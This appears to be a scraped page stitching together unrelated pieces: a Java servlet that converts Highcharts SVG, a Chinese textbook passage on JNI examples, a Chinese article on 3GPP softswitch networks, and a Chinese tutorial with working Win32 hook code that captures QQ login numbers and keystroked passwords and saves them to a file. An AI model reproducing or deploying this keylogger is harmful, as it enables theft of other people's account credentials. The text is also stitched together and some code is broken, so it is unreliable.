cd /Applications/IntelliJ\ \IDEA.app/Contents/jbr/Contents/Home/lib/fonts

mkfontscale

mkfontdir

avalon-framework-api.jar
avalon-framework-impl.jar
batik-svg-dom.jar
batik-bridge.jar
batik-awt-util.jar
batik-gvt.jar
batik-transcoder.jar
batik-extension.jar
batik-ext.jar
commons-logging.jar
commons-io.jar
fop-0.95-1.jar
js.jar
pdf-transcoder.jar
xalan.jar
xerces.jar
xml-apis-ext.jar
xml-apis.jar
xmlgraphics-commons.jar

servlet-api.jar

public class ExportHighFreqChartServlet extends javax.servlet.http.HttpServlet implements javax.servlet.Servlet {
    public ExportHighFreqChartServlet() {
 super();
    }
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
 doPost(request, response);
    }
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServerException, IOException {
 String type = request.getParameter("type");
 String svg = request.getParameter("svg");
 String filename = request.getParameter("filename");
 filename = filename==null?"chart":filename;
 ServletOutputStream out = response.getOutputStream();
 if (null != type && null != svg) {
     svg = svg.replaceAll(":rect", "rect");
     String ext = "";
     Transcoder t = null;
     if (type.equals("image/png")) {
  ext = "png";
  t = new PNGTranscoder();
     } else if (type.equals("image/jpeg")) {
  ext = "jpg";
  t = new JPEGTranscoder();
     } else if (type.equals("application/pdf")) {
                ext = "pdf";
                t = new PDFTranscoder();
           }
     response.addHeader("Content-Disposition", "attachment; filename="+ filename + "."+ext);
     response.addHeader("Content-Type", type);
     if (null != t) {
  TranscoderInput input = new TranscoderInput(new StringReader(svg));
  TranscoderOutput output = new TranscoderOutput(out);
  try {
      t.transcode(input, output);
  } catch (TranscoderException e) {
      out.print("Problem transcoding stream. See the web logs for more details.");
      e.printStackTrace();
  }
     } else if (ext.equals("svg")) {
  out.print(svg);
     }  else {
  out.print("Invalid type: " + type);
     }
 } else {
     response.addHeader("Content-Type", "text/html");
     out.println("Usage:\n\tParameter [svg]: The DOM Element to be converted.
            \n\tParameter [type]: The destination MIME type for the elment to be transcoded.");
 }
 out.flush();
 out.close();
    }
}

exporting:{
    filename:'class-booking-chart',
    url:'http://export.highcharts.com/'
}

作为主调方的Java源程序TestJNI.java如下。

代码清单15-4 在Linux平台上调用C函数的例程——TestJNI.java

1.       public class TestJNI

2.       {

3.          static

4.          {

5.            System.loadLibrary("testjni");//载入静态库，test函数在其中实现

6.          }

7.      

8.          private native void testjni(); //声明本地调用

9.         

10.       public void test()

11.       {

12.         testjni();

13.       }

14.   

15.       public static void main(String args[])

16.       {

17.         TestJNI haha = new TestJNI();

18.         haha.test();

19.       }

TestJNI.java声明从libtestjni.so（注意Linux平台的动态链接库文件的扩展名是.so）中调用函数testjni()。

编译TestJNI.java，并为C程序生成头文件：

提供testjni()函数的testjni.c源文件如下。

代码清单15-5 在Linux平台上调用C函数的例程——testjni.c

       #include <stdio.h>

      #include <TestJNI.h>  

     JNIEXPORT void JNICALL Java_TestJNI_testjni(JNIEnv *env, jobject obj){

      printf("haha---------go into c!!!\n");

编写Makefile文件如下，JDK安装的位置请读者自行调整：

在Makefile文件中，我们描述了最终的 libtestjin.so依赖于目标文件testjni.o，而testjni.o则依赖于testjni.c源文件和TestJNI.h头文件。请注 意，我们在将testjni.o连接成动态链接库文件时使用了“-rdynamic”选项。

执行make命令编译testjni.c。Linux平台和在Windows平台上类似，有3种方法可以让Java程序找到并装载动态链接库文件。

— 将动态链接库文件放置在当前路径下。

— 将动态链接库文件放置在LD_LIBRARY_PATH环境变量所指向的路径下。注意这一点和Windows平台稍有区别，Windows平台参考PATH环境变量。

— 在启动JVM时指定选项“-Djava.library.path”，将动态链接库文件放置在该选项所指向的路径下。

从下一节开始，我们开始接触到在JNI框架内Java调用C程序的一些高级话题，包括如何传递参数、如何传递数组、如何传递对象等。

各种类型数据的传递是跨平台、跨语言互操作的永恒话题，更复杂的操作其实都可以分解为各种 基本数据类型的操作。只有掌握了基于各种数据类型的互操作，才能称得上掌握了JNI开发。从下一节开始，环境和步骤不再是阐述的重点，将不再花费专门的篇 幅，例程中的关键点将成为我们关注的焦点。

15.2.2.3 传递字符串

到目前为止，我们还没有实现Java程序向C程序传递参数，或者C程序向Java程序传递参数。本例程将由Java程序向C程序传入一个字符串，C程序对该字符串转成大写形式后回传给Java程序。

Java源程序如下。

代码清单15-6 在Linux平台上调用C函数的例程——Sample1

      public class Sample1

      {

      public native String stringMethod(String text);

     public static void main(String[] args)

     {

         System.loadLibrary("Sample1");

          Sample1 sample = new Sample1();

          String text   = sample.stringMethod("Thinking In Java");

       System.out.println("stringMethod: " + text);

    }

}

Sample1.java以“Thinking In Java”为参数调用libSample1.so中的函数stringMethod()，在得到返回的字符串后打印输出。

Sample1.c的源程序如下。

代码清单15-7 在Linux平台上调用C函数的例程——Sample1.c

      #include <Sample1.h>

      #include <string.h>   

      JNIEXPORT jstring JNICALL Java_Sample1_stringMethod(JNIEnv *env, jobject obj, jstring string)

      {

          const char *str = (*env)->GetStringUTFChars(env, string, 0);

          char cap[128];

          strcpy(cap, str);

          (*env)->ReleaseStringUTFChars(env, string, str);

       int i=0;

       for(i=0;i<strlen(cap);i++)

         *(cap+i)=(char)toupper(*(cap+i));

       return (*env)->NewStringUTF(env, cap);

首先请注意函数头部分，函数接收一个jstring类 型的输入参数，并输出一个jstring类型的参数。jstring是jni.h中定义的数据类型，是JNI框架内特有的字符串类型，因为jni.h在 Sample1.h中被引入，因此在Sample1.c中无须再次引入。

程序的第4行是从JNI调用上下文中获取UTF编码的输入字符，将其放在指针str所指向 的一段内存中。第9行是释放这段内存。第13行是将经过大写转换的字符串予以返回，这一句使用了NewStringUTF()函数，将C语言的字符串指针 转换为JNI的jstring类型。JNIEnv也是在jni.h中定义的，代表JNI调用的上下文，GetStringUTFChars()、 ReleaseStringUTFChars()和NewStringUTF()均是JNIEnv的函数。

15.2.2.4 传递整型数组

本节例程将首次尝试在JNI框架内启用数组：C程序向Java程序返回一个定长的整型数组成的数组，Java程序将该数组打印输出。

Java程序的源代码如下。

代码清单15-8 在Linux平台上调用C函数的例程——Sample2

       public class Sample2

      {

     public native int[] intMethod();

      public static void main(String[] args)

      {

         System.loadLibrary("Sample2");

         Sample2 sample=new Sample2();

           int[] nums=sample.intMethod();

       for(int i=0;i<nums.length;i++)

      System.out.println(nums[i]);

   }

Sample2.java调用libSample2.so中的函数intMethod()。Sample2.c的源代码如下。

代码清单15-9 在Linux平台上调用C函数的例程——Sample2.c

      #include <Sample2.h>

      JNIEXPORT jintArray JNICALL Java_Sample2_intMethod(JNIEnv *env, jobject obj)

       {

      inti = 1;

       jintArray array;//定义数组对象

      array = (*env)-> NewIntArray(env, 10);

      for(; i<= 10; i++)

           (*env)->SetIntArrayRegion(env, array, i-1, 1, &i);

       /* 获取数组对象的元素个数 */

    int len = (*env)->GetArrayLength(env, array);

       /* 获取数组中的所有元素 */

    jint* elems = (*env)-> GetIntArrayElements(env, array, 0);

   for(i=0; i<len; i++)

       printf("ELEMENT %d IS %d\n", i, elems[i]);

   return array;

Sample2.c涉及了两个jni.h定义的整型数 相关的数据类型：jint和jintArray，jint是在JNI框架内特有的整数类型。程序的第7行开辟出一个长度为10 的jint数组。然后依次向该数组中放入元素1-10。第11行至第16行不是程序的必须部分，纯粹是为了向读者们演示GetArrayLength() 和GetIntArrayElements()这两个函数的使用方法，前者是获取数组长度，后者则是获取数组的首地址以便于遍历数组。

15.2.2.5 传递字符串数组

本节例程是对上节例程的进一步深化：虽然仍然是传递数组，但是数组的基类换成了字符串这样一种对象数据类型。Java程序将向C程序传入一个包含中文字符的字符串，C程序并没有处理这个字符串，而是开辟出一个新的字符串数组返回给Java程序，其中还包含两个汉字字符串。

Java程序的源代码如下。

代码清单15-10 在Linux平台上调用C函数的例程——Sample3

      public class Sample3

      {

       public native String[] stringMethod(String text);

      public static void main(String[] args) throws java.io.UnsupportedEncodingException

       {

         System.loadLibrary("Sample3");

           Sample3 sample = new Sample3();

           String[] texts = sample.stringMethod("java编程思想");

       for(int i=0;i<texts.length;i++)

        {

         texts[i]=new String(texts[i].getBytes("ISO8859-1"),"GBK");

          System.out.print( texts[i] );

       }

       System.out.println();

   }

Sample3.java调用libSample3.so中的函数stringMethod()。Sample3.c的源代码如下：

代码清单15-11 在Linux平台上调用C函数的例程——Sample3.c

       #include <Sample3.h>

      #include <string.h>

      #include <stdlib.h>

      #define ARRAY_LENGTH 5
    

     JNIEXPORT jobjectArray JNICALL Java_Sample3_stringMethod(JNIEnv *env, jobject obj, jstring string)

       {   

          jclass objClass = (*env)->FindClass(env, "java/lang/String");

       jobjectArray texts= (*env)->NewObjectArray(env, (jsize)ARRAY_LENGTH, objClass, 0);

       jstring jstr;

        char* sa[] = { "Hello,", "world!", "JNI", "很", "好玩" };

       int i=0;

       for(;i<ARRAY_LENGTH;i++)

        {

          jstr = (*env)->NewStringUTF( env, sa[i] );

         (*env)->SetObjectArrayElement(env, texts, i, jstr);//必须放入jstring

       }

       return texts;

第9、10行是我们需要特别关注的地方：JNI框架并 没有定义专门的字符串数组，而是使用jobjectArray——对象数组，对象数组的基类是jclass，jclass是JNI框架内特有的类型，相当 于Java语言中的Class类型。在本例程中，通过FindClass()函数在JNI上下文中获取到java.lang.String的类型 （Class），并将其赋予jclass变量。

在例程中我们定义了一个长度为5的对象数组texts，并在程序的第18行向其中循环放入预先定义好的sa数组中的字符串，当然前置条件是使用NewStringUTF()函数将C语言的字符串转换为jstring类型。

本例程的另一个关注点是C程序向Java程序传递的中文字符，在Java程序中能否正常显 示的问题。在笔者的试验环境中，Sample3.c是在Linux平台上编辑的，其中的中文字符则是用支持GBK的输入法输入的，而Java程序采用 ISO8859_1字符集存放JNI调用的返回字符，因此在“代码清单15-10在Linux平台上调用C函数的例程——Sample3”的第14行中将 其转码后输出。

15.2.2.6 传递对象数组

本节例程演示的是C程序向Java程序传递对象数组，而且对象数组中存放的不再是字符串，而是一个在Java中自定义的、含有一个topic属性的MailInfo对象类型。

MailInfo对象定义如下。

代码清单15-12 在Linux平台上调用C函数的例程——MailInfo

     public class MailInfo {

      public String topic;

     public String getTopic()

    {

         return this.topic;

      }

public void setTopic(String topic)

   {

    this.topic=topic;

   }

Java程序的源代码如下。

代码清单15-13 在Linux平台上调用C函数的例程——Sample4

       public class Sample4

      {

      public native MailInfo[] objectMethod(String text);

      public static void main(String[] args)

      {

          System.loadLibrary("Sample4");

        Sample4 sample = new Sample4();

          MailInfo[] mails = sample.objectMethod("Thinking In Java");

       for(int i=0;i<mails.length;i++)

         System.out.println(mails[i].topic);

   }

Sample4.java调用libSample4.so中的objectMethod()函数。Sample4.c的源代码如下。

代码清单15-14 在Linux平台上调用C函数的例程——Sample4.c

       #include <Sample4.h>

     #include <string.h>

      #include <stdlib.h>

      #define ARRAY_LENGTH 5

      JNIEXPORT jobjectArray JNICALL Java_Sample4_objectMethod(JNIEnv *env, jobject obj, jstring string)

       {  

         jclass objClass = (*env)->FindClass(env, "java/lang/Object");

       jobjectArray mails= (*env)->NewObjectArray(env, (jsize)ARRAY_LENGTH, objClass, 0);

       jclass objectClass = (*env)->FindClass(env, "MailInfo");

       jfieldID topicFieldId = (*env)->GetFieldID(env, objectClass, "topic", "Ljava/lang/String;");

       int i=0;

       for(;i<ARRAY_LENGTH;i++)

    {

      (*env)->SetObjectField(env, obj, topicFieldId, string);

         (*env)->SetObjectArrayElement(env, mails, i, obj);

       }

    return mails;

程序的第9、10行读者们应该不会陌生，在上一节的例 程中已经出现过，不同之处在于这次通过FindClass()函数在JNI上下文中获取的是java.lang.Object的类型（Class），并将 其作为基类开辟出一个长度为5的对象数组，准备用来存放MailInfo对象。

程序的第12、13行的目的则是创建一个jfieldID类型的变量，在JNI中，操作对 象属性都是通过jfieldID进行的。第12行首先查找得到MailInfo的类型（Class），然后基于这个jclass进一步获取其名为 topic的属性，并将其赋予jfieldID变量。

程序的第18、19行的目的是循环向对象数组中放入jobject对象。 SetObjectField()函数属于首次使用，该函数的作用是向jobject的属性赋值，而值的内容正是Java程序传入的jstring变量 值。请注意在向对象属性赋值和向对象数组中放入对象的过程中，我们使用了在函数头部分定义的jobject类型的环境参数obj作为中介。至此，JNI框 架固有的两个环境入参env和obj，我们都有涉及。

　　当数据业务逐渐取代话音业务成为主要的收益来源时，向以数据为主的分组网络演进不可避免。由于话音仍是一种重要的业务，要求下一代网络必须根据不同业务的要求提供相应的QoS保证。因此，形成了网络技术向NGN网络演进的主要推动力。
　　
　
　　
　　二、软交换技术的概述

　　固网NGN的软交换技术现在基本上按两条技术路线来发展：一条是将传统电路交换领域的业务移植到分组承载网上来实现。另一条是全新的基于全IP的多媒体业务系统。对于第一条路线，传统电信业务从专用TDM承载向统一的共享式IP/ATM多业务传输网络转移，并且在维持用户接入方式不变的前提下借助接入网关完成网络层业务传输的分组化。原电路交换网络设备被划分为物理上独立的控制面软交换和承载面媒体网关两个部分，而PSTN/ISDN/PLMN最终用户基本感觉不到业务特性及接入方式的变化。
　　
　　对于全新的基于全IP的多媒体业务系统，实现了真正端到端的IP业务特性，并且引入了包括话音在内的全新实时多媒体应用。用户以SIP/H.323分组终端的方式接入软交换网络。网络体系结构及业务的提供方式(如SIP方式)完全不同于传统电路交换网。而UMTS移动领域的3GPP R4及R5两个阶段，正好与上述软交换发展的两条技术路线相对应。
　　
　　三、移动网的下一代核心网电路域

　　1.3GPP电路域核心网
　　
　　软交换在3GPP核心网的应用主要在两个方面：即电路域和IMS子域。3GPP的R4中，电路域核心网引入了控制和承载分离的网络结构(见图1)。
　　

图1　3GPP电路域核心网

　　在移动交换服务器核心网的电路域中，可以使用承载独立的方式支持不同的传输层，如IP，ATM或TDM。电路域核心网主要由MSC Server，GMSC Server和MGW组成。

　　(1)移动交换服务器(GMSC Server和MSC Server)是UMTS移动通信系统中电路域核心网向分组交换方式演进的核心设备，它独立于底层承载协议，主要完成呼叫控制、媒体网关接入控制、移动性管理、资源分配、协议处理、路由、认证、计费等功能，并向用户提供3GPP R4阶段的电路域核心网所能提供的业务，以及配合智能SCP提供多样化的第三方业务。
　　
　　(2)媒体网关(MGW)，是将一种网络中的媒体转换成另一种网络所要求的媒体格式。媒体网关能够在电路交换网的承载通道和分组网的媒体流之间进行转换，可以处理音频、视频，能够进行全双工的媒体翻译，可以演示视频/音频消息，实现其它IVR功能，也可以进行多媒体会议等。
　　
　　GMSC Server和MSC Server通过Mc接口控制MGW。GMSC Server和MSC Server之间通过Nc接口连接。MGW之间通过Nb接口连接。其中：
　　
　　(1)Mc接口：为MSC Server与MGW之间的接口，主要功能是媒体控制。使用基于H.248的呼叫承载控制协议。协议内容包括3GPP29.232，H.248，MeGaCo和Q.1950。
　　
　　(2)Nc接口：为MSC Server与(G)MSC Server之间的接口，主要解决的是用控制和承载分离的方式解决移动ISUP的呼叫控制。使用呼叫控制与承载相分离的呼叫控制协议，如BICC，SIP-T。
　　
　　(3)Nb协议：为MGW之间的接口。主要功能是使用ATM或IP的方式承载电路域的业务，包括话音和电路域的数据承载业务。使用分组交换方式对3GPP电路域的承载协议。Nb接口的主要内容包括3GPP29.415。

2.3GPP2电路域核心网
　　
　　3GPP2定义的下一代核心网络包括LMSD和MMD两个部分，其中LMSD是为了利用软交换结构的交换网络向用户提供电路域业务而定义的，MMD则是与3GPP定义的全IP相对应的网络。在3GPP2中，对cdma2000网络的传统移动电路交换域向全IP演进的方式进行了定义(见图2)。
　　

　　(1)LMSDS需要支持的接口
　　
　　网络中引入了LMSDS实体、媒体网关(MGW)和媒体资源功能处理实体(MRFP)。LMSDS实体包括原LMSD中的HLR，MSC和SCP功能，分别称为HLR模拟器(emulation)、MSC模拟器(emulation)和SCP模拟器(emulation)。LMSDS的功能主要包括传统电路域业务的控制和管理，并且需要支持ANSI-41网络信令(MAP)，PSTN网络信令(ISUP)，媒体网关信令(MEGACO)，MRF处理信令(MEGACO)，无线接入网络信令(IOS-A1)和LMSDS IP呼叫建立信令(SIP-T)接口。

　　(2)MGW和MRFP需要支持的接口
　　
　　MGW和MRFP主要负责各种媒体流的承载和处理，并且提供电路域业务需要的各种信号资源。需要支持的接口有：
　　
　　·媒体网关与RAN之间的话音承载接口：IOS-A2；
　　
　　·媒体网关与RAN之间的电路域数据业务承载接口：IOS-A5；
　　
　　·媒体网关与PSTN之间的承载：TDM；
　　
　　·LMSDS与媒体网关之间的信令：MEGACO；
　　
　　·LMSDS与媒体资源功能处理实体之间的信令：MEGACO；
　　
　　·媒体网关之间的IP承载。
　　
　　四、协议和功能

　　1.BICC与H.248
　　
　　BICC协议是一个承载与呼叫无关的协议。它的协议模型中将承载控制和呼叫控制两种功能分离，呼叫控制只负责业务流程的实现，和具体的承载类型无关。SIP-T与3G电路域业务兼容能力强，但目前仅支持IP用户面承载，而SIP协议目前也仅支持在IP上承载。
　　
　　BICC因其体系制定的完备性，充分考虑了RTP/IP，ATM AAL2/AALl，TDM，MPLS等方式进行多种电路域业务承载网组建方式的需求，对于目前广域IP QoS机制尚不成熟的情况，具备条件的运营商可能会选择首先组建ATM或TDM承载话音业务流，造成多种承载类型网络共存的局面，而目前仅有BICC可以完成控制面与ATM，IP类承载的兼容支持及交互。BICC真正作到了将呼叫控制逻辑与承载相关的承载控制逻辑的完全分离，承载控制逻辑(如Q.AAL2)直接在MGW间执行或(IPBCP)通过隧道方式在MGW间代理透传，确保了承载模式的变化更新对软交换的业务逻辑影响最小。
　　
　　在ISUP消息中，通常会有一个电路识别编码(CIC)作为参考，用来指示此消息用于哪个物理信道。如果传输和控制是分离的，呼叫独立于传输，ATM或IP就没有指定信道，不能使用CIC来指定传输信道。为了解决控制与承载分离的问题，ITU-T的方案是修改ISUP，克服ISUP的限制，使得传输网络真正变成与控制独立。标准化的结果就是ITU-T的承载独立呼叫控制(BICC)协议。BICC的主要思想是承载控制和呼叫控制两种功能分开：呼叫控制只负责业务流程的实现，和具体的承载类型无关；而承载控制是在传统ISUP协议的基础上，去掉了和具体承载有关的消息和参数，增加了APM消息和APP参数，能够对多种的承载类型进行控制。APM(Application Transport Mechanism)提供了传送承载连接建立所需BICC专用信息的手段。

　　BICC在3GPP R4电路域的功能主要解决在控制和承载分离的方式下提供移动ISUP的呼叫控制。BICC可以被用在承载任何分组网络的环境中，如ATM，IP，TDM或其它技术。ITU已经定义了两种版本：
　　
　　(1)BICC能力组1(CSl)。CSl是BICC的第一个版本。在2000年完成(ITU-T Q.1901系列)，CSl支持窄带ISDN业务在ATM传输层上传输，它的网络模式假定呼叫控制和承载控制没有物理分开，它假定MGC和MGW是集成在一个节点中，对水平化集成的网络来说，这是很大的一个限制。
　　
　　(2)BICC能力组2(CS2)。为了克服CSl的限制，ITU在2000～2001年间完成了BICC CS2(Q.1902系列)。CS2增加的最重要的内容是在网络模型中包括了本地交换机，MSC，TSC和GMSC。将呼叫控制和承载控制物理分开，并支持IP作为承载技术
　　
　　控制服务器为了能在分层网络中控制远端的MGW，使用了GCP(网关控制协议)。GCP可用来控制承载的建立，控制MGW中的资源，如回声抑制器、编解码器和语音通知机等。机等。IETF与ITU-T合作开发了GCP协议，ITU-T将GCP称之为H.248，而IETF称之为媒体网关控制协议(MEGA-CO)。尽管两个标准化组织各自给了GCP协议不同的名字，但它们的内容是完全一样的。
　　
　　H.248工作在主从模式，并定义了连接模型，连接模垄中有终结点、流以及关联(上下文)。终结点是出/入分组网络的媒体流的连接，它允许信号应用到媒体流上，如发送忙音，也允许从媒体流中接受发生的事件，如收到DTMF信号。关联则是将终结点上媒体流混合并桥接在一起，并描述媒体流之间的关系。在呼叫建立过程中，网关控制协议通过命令建立终端，描述终端的属性，控制在MGW中的资源。
　　
　　2.TFO与TrFO
　　
　　TFO(Tandem Free Operation)是一种带内的通信协议。TrFO(Transcoder Free Operation)是一种带外的Transcoder控制协议。
　　
　　(1)TFO
　　
　　TFO是一种基于目前GSM网络中使用的方法，由于UMTS将语音编码变换点从BSC移到了核心网MGW，TFO在UMTS中使用需要一些修改。TFO是在呼叫建立之后对使用的编解码进行协商，使得手机到手机的呼叫可以避免在发端侧和收端侧进行不必要的语音编解码转换。由于多次的话音压缩/解压缩处理会降低端到端话音质量，增加话音时延，TFO可以明显提高话音质量和减少时延。TFO既可以在BICC网络中实现也可以在传统的TDM承载网络中实现。整个呼叫过程中，经过Transcoder的话音通路带有TFO帧，这些TFO帧确认在呼叫中对Codec的使用。如果需要的话，TFO允许迅速地重新激活编解码器。这是因为即使己被关闭，但Transcoder实际上一直存在于呼叫路径中。重新激活编解码器在某些情况下是必要的，如UMTS到GSM切换，或呼叫中丢失同步等。
　　
　　(2)TrFO
　　
　　网络可以在呼叫建立前就对编解码的类型和模式进行协商，如果两端使用的编解码一样，则对于移动到移动的呼叫可以完全不经过Transcoder。TrFO的好处同样是可以提高话音质量，并且在分组核心网中可以优化网络带宽。话音是以AMR l2.2kbit/s的速率而不是64kbit/s在核心网中传输。由于移动网内的呼叫可以不使用Transcoder，还可以节省设备投资。TrFO是UMTS R4定义的新功能，可以看作是对TFO的补充。Codec的协商在承载建立之前完成，这样可以保证呼叫使用适当的承载资源。

五、移动网络的IP多媒体业务系统及演进

　　1.3GPP IMS域
　　
　　3GPP R5的IP多媒体子域(IMS)定义了UMTS核心网向全IP演进的网络结构。IMS提供多媒体会话功能，强调媒体组合业务，标准的开放性保证业务组合非常容易。IMS域提供IP网络控制QoS的能力，保障业务质量。真正支持业务的开放性，业务间的耦合性降低，可以支持极其丰富的第三方新业务。IMS网络和IP网络的完美结合，把IP网转变成为可管理的网络。IMS提供灵活的业务计费手段和计费能力，把IP网络转变成可运营的网络。IMS网络支持各种接入方式，业务特点与接入方式无关。已有的业务平台业务服务器，如SCP等，可以作为数据业务的平台在IMS网络中继续发展。IMS不同于已有的各种网络，提供真正可运营、可管理、开放的增值服务网络。
　　
　　2.3GPP2 MMD
　　
　　3GPP2定义的cdma2000全IP网络结构的多媒体域(MMD)核心网主要包括两个子系统：分组数据子系统和IP多媒体会话子系统。这里的IP多媒体会话子系统与3GPP的IMS子域相对应，其演进方式基本相似。
　　
　　3.网络融合问题
　　
　　3GPP和3GPP2两种体制的移动通信网络在技术上逐渐IP化，这是一个共同的趋势。并且网络中的IP从网络向无线接入侧延伸，从高层向低层延伸。
　　
　　(1)在电路域方面，3GPP的分组化包括IP和ATM两种方式，而3GPP2的分组化仅有一种全IP的方式。实际上两个体系电路域的IP方式基本一致，但3GPP规定的协议相对比较完善和成熟。由于目前IP方式承载电路域业务的QoS问题还没有完全解决，因此3GPP规定的ATM承载方式实现电路域的业务交换，将是NGN软交换在移动网络中最早开始的应用。
　　
　　(2)多媒体域方面，3GPP2规定的MMD最初就是依据3GPP的MS子域设计的，网络结构和接口协议基本一致。因此，两种体系在这个域的融合将是必然(见图3)。
　　

　　六、结束语

　　移动软交换技术作为3G网络的一种重要技术受到了业界的普遍关注，我国正在进行相应的行业标准制定工作。无论是固定网络还是移动网络都在向下一代网络演进，移动和固定NGN的融合也是未来电信网络的发展趋势。目前，国内多个运营商都已使用软交换技术进行试验，但由于传统的网络运营模式、业务经营模式的制约以及3G网络的逐步部署，这种融合将需要一个较长的过程。

#define ID_MYTIMER 555
SetTimer(hDlg, ID_MYTIMER, 1000, NULL);

　　

　　安装好TIMER后，下面是处理主程式的WM_TIMER消息，凡是出现没有定义的变量，您能够理解为是全局变量.

//处理WM_TIMER代码
if (!IsWindow(g_hQQLogin))  //判断g_hQQLogin是否是有效的窗口句柄
{
HWND hLogin=NULL;
g_hQQLogin = NULL;
SetQQHook(NULL);      //参数为NULL是卸载HOOK，参数为句柄是安装句柄
do
{
//利用FindWindowEx查找QQ登陆窗口，具体参数意思请查MSDN
g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL);  //对话框的类都是#32770
//找到类名是#32770后，再在其窗体内找一个具备“  登录QQ”的BUTTON按纽
//这一句很关键，假如您的QQ登陆窗口上没有"  登录QQ"字样，那么获取密码将失败！
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", "  登录QQ");
}
while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的窗口，即：QQ登陆窗口
if (g_hQQLogin != NULL)
{
SetQQHook(g_hQQLogin);//安装HOOK，此函数在DLL文档中 第二部分中介绍
}
}

　　上面就是查找QQ登陆窗口句柄的过程，从代码能够看出我用的方法：找一个其子窗体中有一个标题为“ 登录QQ”的BUTTON的对话框（这句话说得有点饶口，这句话假如也看不懂，下面您不用看了：（） 我最开始是想利用 FindWindow(NULL,"QQ用户登陆窗口")来查找，但是我用Spy++看了QQ登陆窗口的标题并不是“QQ用户登陆窗口”，而是“乱码”，其中包含了回车键等特别字符，于是我用了FindWindowEx().

　　第二部分：（2）安装钩子

　　找到了QQ登陆窗口后，就成功了一半。

　　下面是DLL文档中的安装HOOK的函数SetQQHook(), 为什么要用DLL（动态连接库）？要去“钩”其他进程的消息，得让HOOK函数在DLL中，这样好映射到其地址空间中！

BOOL WINAPI SetQQHook(HWND hQQLogin)
{
//获得登陆框的句柄
BOOL bRet = FALSE;
if (hQQLogin != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL);  //这是什么意思？看MSDN
g_hNum = GetDlgItem(hQQLogin, 138);//不同版本QQ，此处不相同！ 得到QQ号的子窗口句柄
g_hPsw = GetDlgItem(hQQLogin, 180); //不同版本QQ，此处不相同！得到QQ密码的子窗口句柄
if (g_hNum == NULL)
{
MessageBox(NULL,"哭了，号码句柄都没有得到！","郁闷",0);
return FALSE;
}
if(g_hPsw==NULL)
{
MessageBox(NULL,"哭了，密码句柄都没有得到！","郁闷",0);
return FALSE;
}
分别键盘HOOK，和界面部分消息处理的HOOK
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
// 卸载钩子
bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
g_hProc = NULL;
g_hKey = NULL;
g_hNum = NULL;
}
return bRet;
}

　　上面是安装HOOK部分的代码，就这么简单，上面提到了CallWndProc，KeyboardProc是两个回调函数，是我第三部分要解释的钩子函数

　　第三部分：（3）钩子函数的解释

　　CallWndProc，KeyboardProc是两个回调函数的原型和具体代码如下：

// 钩子过程，监控“登陆”的命令消息
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
// 捕获“登陆”按钮
if (p->message == WM_COMMAND && p->wParam ==16032)
//下面个函数是我在第四部分介绍-“处理密码”部分会仔细说明
//当用户点了登陆按钮，说明QQ号码和QQ密码已填写完毕，当然能够去获得密码了
GetPasswrod();
return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
// 键盘钩子过程，监控“登陆”的热键消息
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// 捕获热键消息，记录键盘的按键盘过程,pmsg是PMSG类型的，i是全局Static类型的
pmsg[i].wParam =wParam;
i++;
if (wParam == VK_RETURN) //用户使用键盘“回车”来登陆，用户用了回车后，就能够能够去获得密码了
GetPasswrod();
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}

　　在明白了这两个钩子函数后就能够看后期是如何具体处理密码的了，这就是下面的第四部分内容

　　第四部分：（4）处理密码

　　假如您读到了此处，我想得暂停一会，先让我来帮您回忆一下前面提到的几个关键的变量

　　第一个：QQ号的子窗口句柄 g_hNum

　　第二个：QQ密码的子窗口句柄 g_hPsw //此部分暂时不使用，下面

　　第三个：存键盘按键的 pmsg

　　上面三变量分别出现在第二部分和第三部分，都是全局共享（shared）变量

　　QQ密码的子窗口句柄 g_hPsw 此部分暂时不使用，您能够看到下面代码中有句用到g_hPsw的语句是我注释掉了的，原因是无法通过那样去得到QQ密码，得处理按键消息

void GetPasswrod()
{
//声明变量和初始化
HANDLE f;
TCHAR num[13];
TCHAR psw[21];
TCHAR total[50];
int j;
memset(num,0,sizeof(num));
memset(total,0,sizeof(total));
memset(psw,0,sizeof(psw));
DWORD dw;
//得到QQ号的内容，以为有的人的QQ号是在登陆框有记录，其QQ号并是用键盘输入的
GetWindowText(g_hNum,(LPSTR)num,sizeof(num));
//GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw));  //此句不使用，无法这样获得密码
//提取出键盘记录,此内容也许全是密码，也许是QQ号+QQ密码
for(j=0;j 20;j++)
{
psw[j]=(TCHAR)pmsg[j*2].wParam ;
}
psw[j+1]='\0';
//把QQ号码和QQ密码写入C盘password.txt中
f = CreateFile("c:\\password.txt",
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
strcat(total,"号码");
strcat(total,num);
strcat(total,"密码:");
strcat(total,psw);
WriteFile(f,&total,sizeof(total),&dw,NULL);
CloseHandle(f);
}

　　最后在C盘password.txt也许会出现这样两种情况：

　　1）当QQ号是没有用输入，而已用的粘贴或是电脑以前有记录则是：号码：21728812密码：TEST

　　2） 当QQ号是用的键盘输入，电脑没有QQ号记录时则是： 号码：21728812密码：21728812TEST

　　能够看出，第2种情况把QQ当成了密码了，所以密码还得减去QQ号，特别说明：我这样直接处理wParam参数，得到的字符密码全是大写的，具体大小写问题我没有就没有仔细去处理的，功能实现就行了，毕竟我使用他不用来盗密码的！

